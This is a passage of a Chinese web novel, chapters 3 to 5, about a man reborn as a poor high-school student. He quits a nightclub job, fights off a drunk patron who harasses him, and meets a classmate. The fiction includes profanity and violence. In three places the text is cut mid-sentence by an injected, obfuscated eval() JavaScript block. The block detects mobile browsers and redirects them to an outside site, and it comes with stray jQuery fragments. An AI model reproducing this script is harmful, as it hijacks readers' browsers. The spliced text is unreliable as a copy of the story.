温热、软糯、带着谷物朴实的香甜瞬间在口腔里弥漫开。一种久违的、属于食物的慰藉感,奇异地抚平了胃部的焦灼,也让他紧绷的神经稍稍松弛了一丝。
他沉默地吃着,动作不疾不徐,带着一份无需言表的得体。
老人坐在对面咬了口包子,看着他,忽然“咦”了一声:“今儿瞧着......精气神是不一样哈?”她目光扫过褚亭玉拿筷子的手,那动作的沉稳和眉眼间那份说不出的气度,是过去那个总是低着头、阴郁的外孙身上未曾出现过的。
褚亭玉的手没有丝毫停顿,恍若未闻。
她嚼着包子,很快又释然地笑了:“也是,睡足了觉比啥灵丹妙药都强。多吃点青菜,刚摘的,嫩着呢。”她说着,很自然地用自己的筷子夹了一大筷子翠绿油亮的青菜放到褚亭玉碗里的粥边上。
褚亭玉抬起眼皮,在那堆突兀的绿色上停顿了一瞬,随即扫过老人那张皱纹深刻却坦荡的脸。他沉默了片刻,没有拒绝,用勺子将青菜连同温热的粥一起送入口中,慢慢咀嚼。
“......嗯。”他极其轻微地从鼻腔里应了一声,算是回应。
他继续低头,安静地喝完最后一口粥,碗底干干净净。
老人立刻探身问:“饱了没?锅里还有......”
“饱了。”褚亭玉打断她,站起身,他看向老人,平直地吐出两个字:“......谢谢。”
语气平淡,没有多少情绪起伏,更像是一种基于教养的礼节性回应。
老人收拾碗筷的手顿在半空,脸上闪过一丝惊讶,随即是更深的笑容,带着点爽朗的笑容:“嗨!跟姥姥还谢啥外道话。饱了就行,快回屋歇着去。”
褚亭玉没再多言,转身回房间。
他站在房间中央,第一次真正审视这个属于原主的空间。
逼仄,陈旧。
他的视线最终落在房间里最显眼的一件家具上——一个约莫一米五长的旧衣柜。
他走过去,伸手拉开衣柜门
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15871348|176218||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
。
一股淡淡的樟脑丸混合着旧布料的味道扑面而来。
下一秒,褚亭玉的动作僵住了。下颌线无声地收紧,绷得像块冷硬的石头。他周身的空气也凝滞了一瞬。
衣柜里,除了几件洗得发白的、样式土气的男生T恤和校服裤子,赫然悬挂着几件......女孩子的衣物。
这些衣物,簇新,带着一种刺眼的、格格不入的柔美气息,挤在那些灰扑扑的男装中间,显得异常突兀。
褚亭玉的目光在那条水蓝色裙子上极快地掠过,像被什么蜇了一下,迅速移开。握着柜门边缘的手指猛地收紧,指节因过度用力而凸起,泛着一点白。胸腔里那处熟悉的闷胀感,毫无预兆地尖锐了一下,带起一阵冰冷的、生理性的反胃。
他猛地甩上了柜门。
一声闷响在狭小的空间里炸开,震得空气都在微微颤动。
他背对着衣柜,胸口起伏了两下闭上眼,再睁开时,眼底那片深潭似乎结了更厚的冰,只剩下死水般的沉寂。
就在这时,一阵刺耳又单调的铃声在房间里炸响。
褚亭玉眉心狠狠一拧,锐利的目光扫过,精准落在书桌角落一个被书包半掩着、灰扑扑的长方形物体上。
他走过去,粗暴地拨开碍事的书包,拿起那东西。
一个厚重笨拙的塑料按键手机,屏幕小得可怜,边框宽大,按键磨损得几乎看不清数字。褚亭玉对这种电子古董感到陌生,但它的存在,提醒了他,自己应该是穿回了十几年前。
屏幕亮着,来电显示:六哥。
褚亭玉面无表情地按下绿色的接听键。
“喂——?!”一个粗嘎不耐烦的男声立刻从听筒里传来,“褚亭玉!你他|妈死哪儿去了?!批你一天假是让你睡死过去了吗?!看看现在几点了?!店里忙得脚打后脑勺,你人呢?!还想不想干了?!”
劈头盖脸的辱骂,市侩又蛮横。
褚亭玉皱着眉把手机拉离耳朵。活了三十年,还没人敢用这种口气跟他说话。
电话那头还在吼:“......跟你说话呢!哑巴啦?!赶紧给老子滚过来!晚一分钟,这个月工资一分钱都别想要!听到没有?!操|你|妈的!”
“傻|逼。”褚亭玉低声骂了一句,然后不管三七二十一就按下了红色的挂断键。
褚亭玉捏着那部老旧的手机,胸口那股被激起的戾气尚未平复。他烦躁地划开屏幕,点进短信收件箱。
最上面几条未读短信,发件人全是“六哥”,字里行间透着威胁。
【褚亭玉!假条只到昨天!今天必须滚来上班!】
【死哪去了?电话也不接?!再不来算旷工,扣三天工资!】
【最后一次警告!十分钟不到,这月工资全扣光!喝西北风去吧!】
他面无表情地往下翻。一条来自“小夏”的短信跳了出来。
【亭玉。感觉好点了吗?领班发了好大的火,说你今天再不来就要扣光这个月工资了。要是好点就赶紧来吧,别跟钱过不去啊。一周就干两天,一天一百呢,不少了。】
一天一百。一周两天,就是两百。
褚亭玉的目光定在这行字上。
“......”一个月也才八百?
这个家,好像只有原主和姥姥两个人。
一个未成年学生,周末还得跑出去干这种廉价兼职......这日子,过得太紧巴了吧。
褚亭玉立时想起刚才那通电话。
......原主的工资。
算了,跟钱过不去干嘛。蚊子腿再小也是块肉。
更何况,这是原主那小子辛苦赚的钱,凭什么便宜那个杂碎。
4. 第 4 章
褚亭玉翻到通讯录里“小夏”的名字,拨了过去。
电话只响了两声便被接起,一个带着关切的年轻男声传来:“亭玉?你好点没?”
“地址。”
电话那头明显卡壳了:“啊?什么地址?”
“上班的地方。”褚亭玉耐心告罄,语气沉冷下去。
“哦......哦!辉煌会所。就在青龙区安山路那边,你......”小夏似乎还想追问,但褚亭玉得到想要的答案,已经干脆地切断了通话。
会所?一个未成年高中生,周末跑到这种地方打工?他压下心底那点荒谬的疑问,避开老人出了门。
车子足足开了四十分钟,才在一个霓虹灯闪烁、光污染严重的街区停下。褚亭玉付钱下车,眉头拧得更紧。原主跑这么远,就为了挣那一百块?
走进会所,灯光昏黄暧昧,舞池里人影幢幢扭动。褚亭玉一身蓝白校服,杵在这片声色犬马中,扎眼得像个异类。
还没等他找人,一个尖酸刻薄的声音就劈头盖脸砸了过来:“褚亭玉!你还知道来啊?!”
一个二十五六岁的男人几步冲到他面前,脸上带着长期熬夜的浮肿和戾气。他眼珠子瞪得溜圆,手指几乎戳到褚亭玉鼻尖,唾沫横飞:“你他|妈穿这身死人皮来干嘛?!吃错药了?!客人都他|妈等着呢!赶紧给我滚去后面换衣服!想死是不是?!”
这声音,和电话里那个“六哥”完全对上了号。
褚亭玉只想拿钱走人,对这种毫无营养的咆哮充耳不闻。
“我的工......”
“工什么工?!”马六一看褚亭玉这身学生打扮,就知道当初这小子说自己成年纯熟放屁,气得脸都扭曲了,“现在!立刻!马上!滚去换衣服!再敢穿着这身出来碍眼,老子打断你的腿!”他一边吼,一边伸手就粗暴地去抓褚亭玉的胳膊,
褚亭玉眼神骤然一寒,身体微动,躲开了那只爪子。
“六哥!六哥!消消气消消气!”一个身影突然从旁边冲了出来,是个和褚亭玉年龄相仿的男孩,穿着服务生的马甲,面容清秀,满脸紧张地拉住褚亭玉的胳膊,不由分说就往旁边一条昏暗的通道里拽,嘴里飞快地对马六赔笑:“六哥您别跟他一般见识,他可能还不舒服呢。我这就带他去换衣服,马上就好。保证不耽误事!”
马六被这男生一打岔,暴怒的矛头偏了偏,但依旧指着褚亭玉的背影吼:“小夏!你给我看紧他!再出幺蛾子,你们俩一起卷铺盖滚蛋!工资一分都别想要!”
通往二楼的旋转楼梯口,两个身影恰好将方才那场冲突尽收眼底。
两人都穿着裁剪精良、质地考究的衣服,与会所的浮夸风格格格不入。其中稍矮些的,顶着一头精心打理过的栗色短发,嘴角噙着一丝玩味的笑意,用手肘碰了碰身边的同伴:“哇塞,君哥,这不你们一中的校服吗?”
他扬了扬下巴,指向通道门消失的那抹蓝白校服身影,语气带着点看热闹不嫌事大的戏谑,“挺新鲜啊,现在一中的乖宝宝都能跑这儿来打工了?还穿着校服来挨骂,胆真肥。”
被他称为“君哥”的男生,身形明显更高,肩宽腿长,简单的黑衬衫和长裤穿在他身上有种清冷的贵气。他面容清俊,鼻梁高挺,冷淡地扫了一眼那扇已经关上的通道门。
“走了。”他淡淡吐出两个字,声音低沉悦耳,全然不见青春期时的哑涩滞重,而是温润如陈酒般的醇厚。
栗发男生耸耸肩,对同伴这种见怪不怪的态度习以为常,最后瞥了一眼那扇紧闭的门,懒洋洋地跟了上去。
小夏力气不小,几乎是半拖半拽地把褚亭玉拉进了一个狭小的更衣间。
更衣间里空气浑浊,弥漫着一股汗味、廉价香水和消毒水混合的怪味。
砰地关上门,隔绝了外面的喧嚣,小夏这才松手,靠着门板喘了口气,心有余悸地看着褚亭玉:“我的小祖宗哎。你怎么才来?还穿校服?六哥刚才那样子,差点就要把你生吞活剥了!”
他上下打量着褚亭玉,去看越觉得不对劲,“你电话里问地址我就觉得不对劲......你...你真糊涂了?还是发烧把脑子烧短路了?”
原主衣柜里除了校服就是女装,他不穿校服穿什么?
褚亭玉没应声,掸平被抓皱的校服袖口,抬眼看向小夏:“我来拿工资。”
小夏一愣:“......啊?拿工资?你不干了?”
“嗯。”
小夏张了张嘴,看着褚亭玉垂落的刘海下那张脸,太过冷静,一时间竟语塞。他认识的褚亭玉,话不多,但没这么陌生,也没这么有压迫感。
停顿几秒。小夏像是想起什么,试探道:“那你......手术费凑够了?”
褚亭玉眉头微蹙,眼神茫然一瞬。
手术费?谁的?
老人布满皱纹的脸和简陋的房子浮现在脑海。
这种家境,能凑什么手术费?
他轻轻摇头。
“没凑齐?!”小夏的声音拔高,“那你干嘛不干了?离开这儿,你上哪儿找工资这么高的地方?”
看着褚亭玉面无表情的脸,小夏生怕他冲动,压低声音,带着吓唬:“再说了,今晚都来了。你看外面多忙?来了好些大人物,缺人手。六哥那狗脾气你知道,现在撂挑子说不干,他绝对不给你结钱!我敢打包票!”
他紧盯着褚亭玉的眼睛,加重“绝对”二字。
褚亭玉脸上纹丝未动,那威胁仿佛微风过耳。
完了,没吓住......看来是铁了心要走。小夏张了张嘴,还想再劝,却词穷了。
褚亭玉当然不在乎这千八百块钱。又不是原主那个高中生,他一个前世事业有成的成年人,赚钱的门路有的是。
但他需要拿回原主应得的劳动所得,一分都不能少。
“衣服。”褚亭玉开口。
小夏明显松了口气,露出笑容:“这就对了,赶紧......”他目光扫过褚亭玉身上那身格格不入的校服,笑容瞬间僵在脸上,猛拍脑门:“哎呀!差点忘了这茬,快脱了校服换工服,不然六哥看见又要发疯了!”他手忙脚乱地去墙角那排挂着衣服的钩子上扒拉。
褚亭玉顺着他的动作看过去。
当小夏把一件缀着蕾丝边,明显是女式的服务生短裙和搭配的小马甲塞进他怀里时,褚亭玉周身的气压骤然降到冰点。
他看向小夏,从进门到现在一直平静的脸上首次出现明显的裂痕。不是震惊,也不是愤怒,而是一种仿佛被什么极度污秽之物冒犯到的生理性厌恶。
“裙子?”褚亭玉的声音低沉得可怕,“他让我......穿这个?”
小夏被他这眼神和语气冻得一哆嗦,下意识点头,声音更小了,带着点委屈和不解:“……对啊。你、你一直穿这个上班的......不然领班怎么让你进来?客人那边也......”他看着褚亭玉越来越冷的脸色,后面的话自动消了音。
褚亭玉没再看那条碍眼的裙子,目光沉沉地盯住小夏,声音不高,却不容置疑:“换男装。”
那眼神里的冷意让小夏呼吸一窒。脑子还没转过弯,手却已缩了回来,稀里糊涂应声:“......哦,好。”转身就在那排衣服里翻找起男式的制服。
两人刚走出更衣室,就被神色匆匆的经理堵了个正着:“楼上缺人,都麻利点!”
小夏一听是楼上的贵宾包厢,眼睛一亮,压低声音对褚亭玉说:“楼上好,小费多。”
褚亭玉没应声,心道越是这种地方,是非越多。
偌大的包厢里,挤满了衣着光鲜或暴露的男男女女,空气弥漫着浓烈的烟酒味和脂粉香。
褚亭玉接了个倒酒的活。他动作麻利,存在感压到最低,只想尽快熬过这几个小时。
酒过三巡,气氛越发糜烂。几个陪酒女郎已经半挂在客人身上,娇笑连连。
主位沙发中央,一个穿花俏丝绸衬衫的青年,领口敞开到胸口,眼神迷离又居高临下。他晃着酒杯,目光漫无目的地扫过放纵的人群,突然注意到角落里那个安静倒酒的身影上。
同样的制服,穿在那人身上却有种截然不同的感觉。别人都竭力往灯光下凑,只有他,像一株生长在阴影里的冷杉,挺拔又疏离,低垂的眉眼看不清神情,却更引人深究。
青年嘴角勾起一抹兴味的弧度,推开身边一个黏上来的女人,摇晃着站起身。他步履不稳地穿过东倒西歪的人群,带着一身酒气,停在褚亭玉面前。
“喂,你。”青年声音带着醉意和命令,“抬起头来。”
褚亭玉动作顿住,没动。
青年不耐烦地“啧”了一声,猛地伸手,粗糙的手指带着不容抗拒的力道,狠狠捏住褚亭玉的下巴,强迫他抬起头。另一只手更是粗暴地将他额前碍事的刘海一把撸了上去。
一张毫无遮掩的脸,彻底暴露在昏暗的光线下。
青年的动作瞬间僵住,连呼吸都窒了一瞬。那是一张极其漂亮的脸,五官精致得如同工笔画就,皮肤在迷离的光线下白得晃眼。尤其那双被迫抬起的眼睛,眼底深处仿佛结着冰,带着一种被冒犯的冷冽,偏偏眼尾线条又生得极好,矛盾地糅合出一种惊心动魄的冷艳。
“操......”青年喉结滚动了一下,眼底的惊艳几乎要溢出来,捏着下巴的手指力道不自觉地放轻了些,“这么好看的脸......藏起来多可惜...”他的目光像蛇信子,在褚亭玉脸上贪婪地舔舐。
褚亭玉强压下胃里的翻涌和眼底几乎要喷薄而出的厉色。
小夏在一旁看得心惊肉跳,鼓起勇气想上前解围:“强哥,他新来的,不懂规矩,您......”
“滚开!”被称作强哥的青年看都没看,抬脚就狠狠踹在小夏的肚子上。
小夏痛呼一声,捂着肚子跌倒在地,脸色煞白。
褚亭玉看着小夏痛苦蜷缩的样子,最后那点忍耐崩断。他唇角缓缓勾起一个极浅、带着致命蛊惑力的弧度,非但没有挣脱青年捏着自己下巴的手,反而主动向前倾身,反手抓住了青年的手腕。
在青年错愕又带着兴奋的目光中,褚亭玉贴近他的耳廓。温热的呼吸带着一丝似有若无的冷香拂过青年的耳垂,声音压得极低,有种沙哑、近乎耳语的磁性:“这里...人多,好吵。”
他顿了顿,眼波流转间,一丝似有若无的暗示如同羽毛轻轻搔过,“......不如,找个清静点的地方?就我们两个?”
强哥只觉得一股电流从耳朵直窜脊椎,半边身子都麻了。看着近在咫尺那张惊为天人的脸和勾魂摄魄的眼神,酒意和色欲瞬间冲昏头脑。
“好!好!清静地方好!”他连声应着,脸上毫不掩饰的狂喜,反手就想搂褚亭玉的腰。
褚亭玉不着痕迹地侧身避开,只虚虚扶着他的手臂,声音依旧带着诱哄的轻软:“我扶您。”
强哥脚步悬浮地被褚亭玉半扶半架地弄进一间空包厢。门刚合拢,褚亭玉脸上的那点虚假温顺瞬间褪尽,眼冒寒光乍现。
强哥迫不及待地想把人往沙发上按,褚亭玉却像没骨头似的顺势一滑,灵巧躲开,目光落在茶几上几个东倒西歪的空酒瓶上。
他抄起酒瓶,带着积压了一整晚的暴戾和恶心,狠狠抡在青年的太阳穴上!
“砰!”一声闷响,伴随着玻璃碎裂的刺耳声。
青年连哼都没哼一声,眼白一翻,直接瘫软下去。褚亭玉扯下对方身上那件花里胡哨的丝绸衬衫,三两下将他双手反剪在背后,用袖子死死捆绑打结。接着脱下自己身上的侍者马甲,粗暴地揉成一团,狠狠塞进他嘴里,堵住任何可能的呻吟。
做完这一切,褚亭玉才喘了口气,踢了踢地上
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15871349|176218||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
不省人事的“粽子”,声音带着点刚发泄完的狠劲,还有一丝被恶心到的咬牙切齿:“妈的,老子的豆腐好吃吗?齁不死你个杂碎!”
最后又极不甘心地抬脚,用力碾了碾对方扒拉过自己下巴的手指,听着青年喉咙里发出的痛苦闷哼,才勉强解了点气,“要不是条件不允许,老子把你爪子剁了喂狗。”
他迅速整理好衣服,走到门边调整呼吸。再抬头时,脸上已经换上恰到好处的慌乱和羞涩。
他拉开一条门缝,对着门外的保镖小声道:“强哥说...让您赶紧去买盒那个...安|全|套...要、要最大号的...”
保镖狐疑地往门缝里张望,褚亭玉立刻侧身挡住:“快去呀...强哥等急了又要发火骂人的。”
听着褚亭玉那带着点娇嗔的催促,保镖犹豫了一下,最终被支使惯了,嘟囔了一句“之前不都用小号吗”,转身快步离开。
褚亭玉:“......”嘴角抽搐了一下。
看着保镖不情不愿离开的背影,褚亭玉冷笑一声,但他刚走到走廊拐角,就听见保镖气急败坏的怒吼:“操!那小崽子肯定耍我!”
褚亭玉暗骂一声,只能拔腿往更深处跑。走廊灯光昏暗,两边包厢门紧闭,音乐声隐隐传来。身后紧跟的脚步声越来越近。
就在他经过一个包厢门时,那扇厚重的门恰好被人从里面拉开一条缝,似乎有人正要出来。
褚亭玉瞳孔一缩,来不及多想,身体本能快过大脑,猛地发力撞开门缝,整个人如同离弦之箭般冲了进去。
里面的人显然被这突如其来的闯入惊住了。对方反应极快,在褚亭玉冲撞进来的瞬间,身体本能地做出了防御反击的动作,手臂如铁钳般格开褚亭玉试图控制他的动作,另一只闪电般探出,直取褚亭玉的咽喉要害!
褚亭玉心中一惊,好快的身手!他立刻矮身试图避过,但这幅身体实在太过孱弱,根本跟不上他意识的反应速度。对方变招更快,手腕一转,精准地掐住褚亭玉的脖颈,将他狠狠抵在冰冷的墙壁上。
“唔......”后背撞上墙壁的闷痛和咽喉被锁住的窒息感让褚亭玉闷哼出声。
借着包厢内昏暗暧昧的光线,那人看清了被自己制住的闯入者的脸。那双清冷的眸子里,闪过一丝难以掩饰的错愕。
这一瞬间的愣神,对褚亭玉来说就是绝佳的机会。他抓住对方微滞的空档,手臂猛地发力格开脖子上的钳制,一手反拧对方的手臂按在墙上,另一只手快如闪电地捂住对方的嘴。动作一气呵成,带着不容反抗的强势。
“别出声!”褚亭玉的声音压得极低,带着剧烈运动后的微喘和不容置疑的命令感,灼热的气息喷在对方耳畔。
男生被他死死按在墙上,身体瞬间绷紧如弓弦。他抬眼,那双沉静的眸子近距离地看向褚亭玉,里面没有惊慌,只有一丝被打扰的不悦和探究。他定定地看了褚亭玉两秒,似乎在衡量什么,然后,极其轻微地点了下头。
褚亭玉紧盯着他的眼睛。那双眼睛很静,像深不见底的寒潭,但此刻里面确实没有恶意,反而带着一种奇异的、令人信服的冷静。他略一迟疑,松开了捂住对方嘴的手,但另一只扣住手腕的手并未放开,身体依旧处于高度戒备状态。
男生获得自由的第一时间,并没有质问或是反击,而是目光敏锐地扫过褚亭玉。当视线落在他白衬衫袖口的前襟上几点刺目的暗红血迹时,他挑了挑眉,声音低沉悦耳,带着点事不关己的冷感,甚至还有一丝难以察觉的玩味:
“你杀人了?”语气平静得像在讨论天气。
褚亭玉:“......”
他刚想冷声反驳,包厢的门突然被人大力推开!
“搜这间!仔细点!”保镖的声音粗暴地闯了进来。
褚亭玉甚至没看清身边男生的动作。只觉得腰间猛地一紧,一股不容抗拒的强大力道传来,天旋地转间,他整个人被一股清冽的气息完全包笼罩。下一秒,褚亭玉已经被带着重重跌坐在柔软的沙发里,脸颊被迫紧紧贴上一个温热的胸膛。
与此同时。
“啪擦——!”
酒瓶在距离门口保镖脚趾不到三寸的地方轰然炸裂!玻璃碎片混合着琥珀色的酒液四散飞溅,浓烈的酒气瞬间在空气中爆开。
“滚出去!”
男生的声音不高,却带着一种浸入骨髓的寒意和不容置疑的威压。他微抬着眸,那眼神里的冰冷和警告意味,比任何怒吼都更具有穿透力和威慑力。
门口的保镖被这突如其来的酒瓶爆裂和冰锥般的眼神骇得生生止步,对上男生那双毫无温度的眼睛,一股寒意从脚底板直冲天灵盖。他张了张嘴,愣是一个字没敢再说,灰溜溜地退了出去,还顺手带上了门。
包厢里只剩下震耳欲聋的音乐背景音,以及......紧紧贴在一起、姿势无比暧昧的两个少年。
褚亭玉整个人都僵住了。
他的脸被迫埋在对方紧实温热的胸膛上,鼻尖萦绕着那股极其清冽好闻的冷香,像是雪后松林的气息,干净得不可思议,完全盖过了包厢里原本浑浊的烟酒味。
隔着薄薄的衣料,他能清晰地感受到对方胸腔下沉稳有力的心跳震动,以及传递过来的、属于另一个人的体温。
对方的手臂还强硬地环在他的腰上。这是他第一次......与人如此毫无间隙地紧贴在一起。
这种完全陌生的、被另一个男性气息彻底笼罩、甚至掌控的感觉,让他浑身汗毛倒竖,每一寸肌肉都绷紧到了极致,大脑有瞬间的空白。
男生似乎也察觉到了怀里身体的僵硬。他低头,看着褚亭玉几乎埋在自己胸口的发顶,眼底闪过一丝极淡又难以言喻的情绪。
他并没有立刻松手,只是微微侧头,下巴几乎擦过褚亭玉的额角,声音压得很低:
“你是几班的?”
5. 第 5 章
床上的褚亭玉睡得正沉。前世生物钟的惯性,让他对这具身体,作为一个高二学生该有的早起节奏毫无概念。
“亭玉?亭玉?该起了,再睡要迟到了......”
那声音不大,却像细针一样扎进褚亭玉混沌的睡眠里。他烦躁地在薄被里拧了下眉,心里一阵无名火起。
谁这么不识相,大清早扰人清梦?他下意识想翻个身蒙头就继续睡。
身体刚一动,触感却不对。硬邦邦的木板床硌着腰,空气里有股淡淡的、陌生的陈旧味道,完全不同于他前世任何一间公寓。混沌的意识如同被泼了一盆冰水,骤然清醒。
门外,老人的声音染上了真切的焦急:“亭玉?你没事吧?是不是哪里不舒服?快开门让姥姥看看!”
褚亭玉深吸一口气,压下那无处发泄的起床气,哑着嗓子应了一声:“......醒了,没事。”他掀开被子坐起身,揉了揉发胀的太阳穴。
迟到?是了,他现在是个还得去上学的十七岁少年。
他慢吞吞地穿好衣服,打开房门。老人就守在门口,布满皱纹的脸上全是担忧,手里提着一个透明的塑料袋,里面装着几个还冒着热气的包子和一杯豆浆。
“快,拿着路上垫垫肚子。今天怎么睡这么沉?可把姥姥吓着了。”
老人一边把早餐塞进他手里,一边习惯性地抬手想帮他理理衣领,目光猛地定在他颈侧那片尚未消散的青紫色淤痕上。
褚亭玉皮肤本就比常人白皙,又格外容易留痕,这片淤青在晨光下显得特别触目惊心。
老人浑浊的眼睛里立刻溢满了心疼和难过,声音都颤了:“哎哟,这......这脖子怎么又青了这么一大块?昨天问你也不吭声......疼不疼啊?”她枯瘦的手指伸到半空,想碰又不敢碰。
褚亭玉下意识偏了偏头,避开那小心翼翼的触碰,语气平淡:“不疼,没事。”他接过早餐,不愿在这个问题上纠缠,更不想看到老人忧心忡忡的眼神,“我走了。”
他抓起那个空瘪得几乎没装几本书的书包甩到肩上,转身出了门。老人那句“路上小心点,慢些吃......”被关在了门后。
清晨的街道带着凉意,行人不多。褚亭玉咬着包子,豆浆袋挂在手指间晃荡。他站在巷子口,望着眼前陌生的街景,第一次感到一阵深切的茫然。
学校在哪?
脑子里关于原主的记忆一片空白。他像个初来乍到的异乡人,站在人生的十字路口,连东西南北都分不清。
“喂,怎么走?”褚亭玉不客气地问系统。
他按照系统给的路线,总算看到那所规模不小的“海城一中”大门。
然而,校门口的气氛让他刚走近的脚步就顿住了。
或许是周一要升旗的缘故,查得很严。几个穿着正式、精神严肃的老师像门神一样杵着,旁边还站着几个手臂上套着鲜红“值日”袖章的学生干部,目光犀利地扫视着鱼贯而入的学生。不时有忘记佩戴校牌或者仪容不整的被拎出来,在众目睽睽之下接受盘问、登记。
褚亭玉立刻想起了挂在卧室那面旧镜子旁的蓝色校牌。
他当然没带。
让他一个灵魂将近三十岁的老油条,被一群半大孩子或老师堵在校门口训斥,质问为什么不戴校牌?更何况,以他浅薄的经验,原主这头过耳的头发,怕是不好混过那道“仪容仪表”的关隘。
光是想象那场景,褚亭玉就觉得一股荒谬的尴尬直冲天灵盖。这比在谈判桌上被对手狠狠压价还要难堪。
逃了。
这个念头几乎是瞬间就占了上风。反正家里的老人不会知道他没去学校,只需挨到放学时间回去便是。
没有任何犹豫,褚亭玉直接转身,朝着与涌入校门截然相反的方向,沿着人行道左侧快步走去,动作自然得就像他只是路过。
周君珩的视线,在那道带着点漫不经心、逆着人流向外走的身影上,停留了两秒。
“去买瓶水。”他对旁边另一位值日同伴淡淡丢下一句,顺手拿过对方手里刚从其他学生身上扣下的校牌。
“哦,好。”同伴下意识点头,看着他拿着个校牌转身就走,心里有点纳闷,买水拿别人的校牌做什么?但他也没多想,回头见教导主任投来询问的眼神,赶紧解释:“君珩说口渴,去买水了。”
周君珩步伐看似从容,速度却不慢。他很快穿过校门外三三两两的学生和家长,目光精准地锁定了前方那个沿着街边绿化带独自前行的身影。
几步追近,他在褚亭玉身侧稍前一点的位置停下,恰好挡住了去路。
“同学,”周君珩的声音很淡,听不出情绪,就像在叫一个素不相识的路人,“没戴校牌吗?”
褚亭玉正琢磨着找个地方消磨这漫长的一天,听到身后传来“同学”的称呼,根本没觉得是在叫自己。脚步未停,直到一道身影完全笼罩下来,他才不得不驻足,抬眼看去。
四目相对。
眼前这张清俊冷淡的脸,瞬间和昨晚昏暗包厢里那双深潭般的眸子重合。
褚亭玉瞳孔微微一缩。
周君珩仿佛没认出他,平静地伸出手,骨节分明的手指捏着一个蓝色校牌,递到褚亭玉面前。
褚亭玉的目光落在那枚校牌上,又缓缓移回周君珩的脸上。对方的表情平静得像一潭深水,看不出任何多余的情绪。但褚亭玉心里却“腾”地窜起一股极其不爽的感觉。
这感觉来得突兀又蛮横,像是私人领地被人无端闯入,又像是幼稚的逃课计划被人轻描淡写地戳破。褚亭玉脸上依旧没什么表情,眼神也是淡淡的,但那细微的下颌线似乎绷紧了一瞬,周身气压仿佛低了一度。
周君珩递着校牌的手稳稳地停在空中。他看着褚亭玉,对方脸上没有任何明显的怒意或不耐,可那双眼睛深处,那几乎难以捕捉的、一闪而过的郁卒和......排斥?
周君珩敏锐地接收到了。那感觉,就像自己递过去的不是通行证,而是一块烫手山芋,多此一举,惹人厌烦。
空气凝固了片刻。
最终,褚亭玉什么也没说,他伸出手,动作谈不上客气,几乎是带点微妙的力道,一把将那长方形的牌子从周君珩指间抽走。
然后,他看也不看周君珩,捏着那枚多出来的物件,几乎是硬着头皮,转身往回走。
周君珩站在原地,看着那个蓝白身影混入人群,垂眸,指尖捻了捻刚才被擦过的地方,眼神里掠过一丝罕见的、带着
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15871350|176218||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
点新鲜的怪异。
顺利进入校园,褚亭玉脚步放慢了些,目光扫过眼前陌生的楼宇和穿梭的学生,那种格格不入的疏离感再次翻涌上来。
高二(7)班?
“喂,指个方向。”他在脑海里呼唤那个跟死机无异的系统。
“叮铃铃——!”
尖锐的上课预备铃毫无预兆地炸响,惊得周围的学生瞬间加快了脚步,走廊里响起一片杂乱的奔跑脚步声。褚亭玉被这突如其来的噪音刺得眉头一皱,心底的烦躁更添一层。
就在这时,那道刚刚才听过、低沉而辨识度极高的声音,再次在他身后不远不近地响起:
“同学。”
褚亭玉脚步一顿,心里那点刚压下去的火“噌”地又冒了上来。还有完没完?这人怎么跟块甩不掉的狗皮膏药似的?
他还没来得及做出反应,周君珩已经自然地走到了他身侧,保持着半步的距离。
褚亭玉眼角余光扫到周君珩垂在身侧的右手似乎拿着个什么小盒子,但他此刻烦着呢,根本懒得细看。
周君珩的目光落在他脸上,仿佛只是随口一问:“你还没告诉我,你是几班的?”
褚亭玉猛地转过身。他脸上依旧是那副没什么表情的冷淡样子,但那双眼睛里压抑的恼火几乎溢出来。他直直地盯着周君珩那张过分英俊也过分平静的脸。
理智告诉他对方确实没恶意,甚至算帮了他两次。可这种被步步紧逼、如影随形的感觉,让他心里那股邪火无论如何也按捺不住。
这种矛盾感让他对自己的烦躁也生出一丝懊恼,可那点不爽终究占了上风。他扯了扯嘴角,弯出一个没什么温度、带着明显嘲弄意味的弧度,声音不高,却字字清晰,带着冰碴。
“这位同学。”他刻意加重了最后两个字的咬字,眼神里毫不掩饰“你管得着吗”的疏离,“校规里没写要向你报备班级吧?热心过头了吧?”
说完,他根本不等周君珩有任何反应,仿佛多停留一秒都是煎熬,转身大步流星地走了。
周君珩下意识抬了抬拿着药盒的手,那句到了嘴边的“这个给你......”彻底噎在了喉咙里。他低头又看了一眼手里那罐刚从附近药店匆匆买来的化瘀喷雾,嘴角扯出一丝自嘲的苦笑。
本想道歉和弥补,但对方连一个眼神都没给,更别说开口的机会了。那晚他确实用了狠劲,却没想到会在褚亭玉冷白的皮肤上留下如此刺眼的痕迹。
周君珩站在原地,看着褚亭玉迅速消失在走廊拐角。对方那句带着倒刺的讽刺和转身就走的姿态清晰地传递了一个信息。
